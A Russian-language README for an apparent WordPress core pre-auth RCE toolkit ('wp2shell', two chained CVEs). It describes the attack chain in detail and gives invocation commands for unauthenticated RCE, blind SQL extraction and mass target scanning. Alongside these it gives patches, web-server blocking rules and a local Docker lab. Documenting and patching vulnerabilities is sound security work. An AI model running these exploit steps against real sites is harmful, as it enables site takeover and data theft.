
wp2shell — WordPress Core Pre-Auth RCE (CVE-2026-63030 + CVE-2026-60137). Exploit toolkit + remediation.
CVE-2026-63030 (Путаница с пакетным маршрутом, CVSS 7.5) + CVE-2026-60137 (SQL-инъекция, CVSS 9.1)
Цепочка удалённого выполнения кода (RCE) в ядре WordPress без аутентификации, не требующая плагинов, особой конфигурации и работающая на установках по умолчанию.
| Диапазон версий | Воздействие | Исправлено в |
|---|---|---|
| WordPress 7.0.0 – 7.0.1 | Полное RCE | 7.0.2 |
| WordPress 6.9.0 – 6.9.4 | Полное RCE | 6.9.5 |
| WordPress 6.8.0 – 6.8.5 | Только SQL-инъекция | 6.8.6 |
Предварительное условие: Отсутствие постоянного кэша объектов (Redis/Memcached). Это конфигурация по умолчанию для подавляющего большинства установок WordPress.
Эксплойт объединяет две уязвимости:
Путаница с пакетным маршрутом REST API — Некорректный путь в подзапросе пакета заставляет wp_parse_url() вернуть false, создавая WP_Error, который десинхронизирует массивы $matches[] и $requests[]. Последующие запросы направляются к неверным обработчикам, обходя аутентификацию.
SQL-инъекция в WP_Query — Когда author__not_in передаётся как строка (а не массив), санитизация absint() пропускается, и исходное значение интерполируется напрямую в SQL-выражение WHERE.
В сочетании с системой кэширования oEmbed WordPress (примитив записи), автоматической публикацией изменений Customizer (повышение привилегий) и повторным входом в REST API (привилегированная отправка) это позволяет выполнять код без аутентификации.
wp2shell/
├── README.md ← Этот файл
│
├── wp2shell-exploit/ ← Инструменты эксплуатации
│ ├── exploit.py # Полное RCE без аутентификации (без взлома паролей)
│ ├── exploit_hash.py # Извлечение хеша + аутентифицированное RCE
│ ├── detect.py # Ненарушающий сканер уязвимостей
│ └── README.md
│
├── wp2shell-patch/ ← Исправление
│ ├── patch.sh # Патч исходного кода (отражает официальное исправление)
│ ├── wp2shell-shield.php # Подключаемый mu-плагин (развёртывание за 30 секунд)
│ ├── block-batch.conf # Мера защиты для Nginx
│ ├── block-batch.htaccess # Мера защиты для Apache
│ └── README.md
│
├── docker-compose.yml # Уязвимая тестовая среда (WP 7.0.1)
└── Dockerfile.debug # Образ с включённым XDebug для исследований
Исходный код WordPress не включён. Загрузите с https://wordpress.org/download/releases/ (7.0.1 для уязвимой, 7.0.2 для исправленной).
cd wp2shell-exploit
# Одиночная цель
python3 detect.py https://target.example
# С подтверждением времени SQL-инъекции
python3 detect.py https://target.example --confirm-sqli
# Пакетное сканирование из файла
python3 detect.py targets.txt -q
# Полное RCE без аутентификации (рекомендуется — взлом пароля не требуется)
python3 exploit.py https://target.example -c "id"
# Просто извлечение данных через слепую SQL-инъекцию
python3 exploit.py https://target.example "SELECT user_login FROM wp_users LIMIT 1"
# Альтернатива: извлечение хеша + взлом + аутентифицированное RCE
python3 exploit_hash.py https://target.example
# Затем после взлома:
python3 exploit_hash.py https://target.example --user admin --pass cracked_pw -c "id"
cd wp2shell-patch
# Вариант 1: Подключаемый плагин (самый быстрый, перезагрузка не требуется)
cp wp2shell-shield.php /path/to/wordpress/wp-content/mu-plugins/
# Вариант 2: Блокировка на веб-сервере
# Nginx: включите block-batch.conf в блок сервера
# Apache: добавьте block-batch.htaccess в начало .htaccess
# Вариант 3: Патч исходного кода (полное исправление)
sudo bash patch.sh /path/to/wordpress
# Лучший вариант: просто обновить WordPress
wp core update # или Панель управления → Обновления
┌─────────────────────────────┐
│ Анонимный HTTP-запрос │
│ POST /?rest_route=/batch/v1 │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ Десинхронизация пакета (внешняя) │
│ Некорректный путь → WP_Error │
│ Сдвиг массива $matches[] │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ Перехват обработчика /batch/v1 │
│ (нет permission_callback!) │
│ → выполняется вложенный пакет │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ Десинхронизация пакета (внутренняя) │
│ Теперь разрешены методы GET │
│ author_exclude не санитизирован │
└──────────────┬──────────────┘
│
┌────────────────────┼────────────────────┐
│ │ │
┌──────────▼──────────┐ ┌──────▼──────┐ ┌──────────▼──────────┐
│ Фаза 1: oEmbed │ │ Фаза 2: │ │ Фаза 3: Повышение │
│ UNION SELECT │ │ Слепая │ │ привилегий │
│ поддельный пост с │ │ SQL-инъекция│ │ Отравление кэша + │
│ [embed] │ │ извлечение │ │ публикация │
│ → WP создаёт │ │ ID + ID │ │ Changeset → │
│ кэшированные │ │ админа │ │ wp_set_current_ │
│ посты (примитив │ │ │ │ user(admin) │
│ записи) │ │ │ │ │
└─────────────────────┘ └─────────────┘ └──────────┬──────────┘
│
┌──────────────▼──────────────┐
│ Повторный вход │
│ parse_request запускает │
│ serve_request() ре-вход │
│ → теперь работаем как │
│ администратор! │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ POST /wp/v2/users │
│ Создаёт нового │
│ администратора │
│ → Вход → Плагин → Оболочка│
└─────────────────────────────┘
WordPress 6.9.5 / 7.0.2 применяет три исправления, каждое из которых разрывает одно звено цепочки:
WordPress 7.0.2 дополнительно удаляет функцию совместной работы (защита в глубину).
# Запуск уязвимого WordPress 7.0.1
docker compose up -d
# Дождитесь инициализации MySQL, затем установите
curl -s "http://localhost:8888/wp-admin/install.php?step=2" \
--data-urlencode "weblog_title=Test" \
--data-urlencode "user_name=admin" \
--data-urlencode "admin_password=TestPassword123" \
--data-urlencode "admin_password2=TestPassword123" \
--data-urlencode "[email protected]" \
--data-urlencode "blog_public=0" \
--data-urlencode "Submit=Install WordPress"
# Эксплойт
python3 wp2shell-exploit/exploit.py http://localhost:8888 -c "id"
# Очистка
docker compose down
Этот репозиторий предоставляется только для авторизованных исследований безопасности, тестирования на проникновение и образовательных целей. Используйте только на системах, которыми вы владеете или на тестирование которых имеете явное письменное разрешение.
| Исправление | Файл | Эффект |
|---|
| Выравнивание массивов | class-wp-rest-server.php | $matches[] = $single_request для записей WP_Error — предотвращает десинхронизацию |
| Защита от повторного входа | class-wp-rest-server.php + rest-api.php | if ($this->is_dispatching()) return false — предотвращает вложенный serve_request |
| Санитизация SQL | class-wp-query.php | wp_parse_id_list() всегда применяется — предотвращает инъекцию |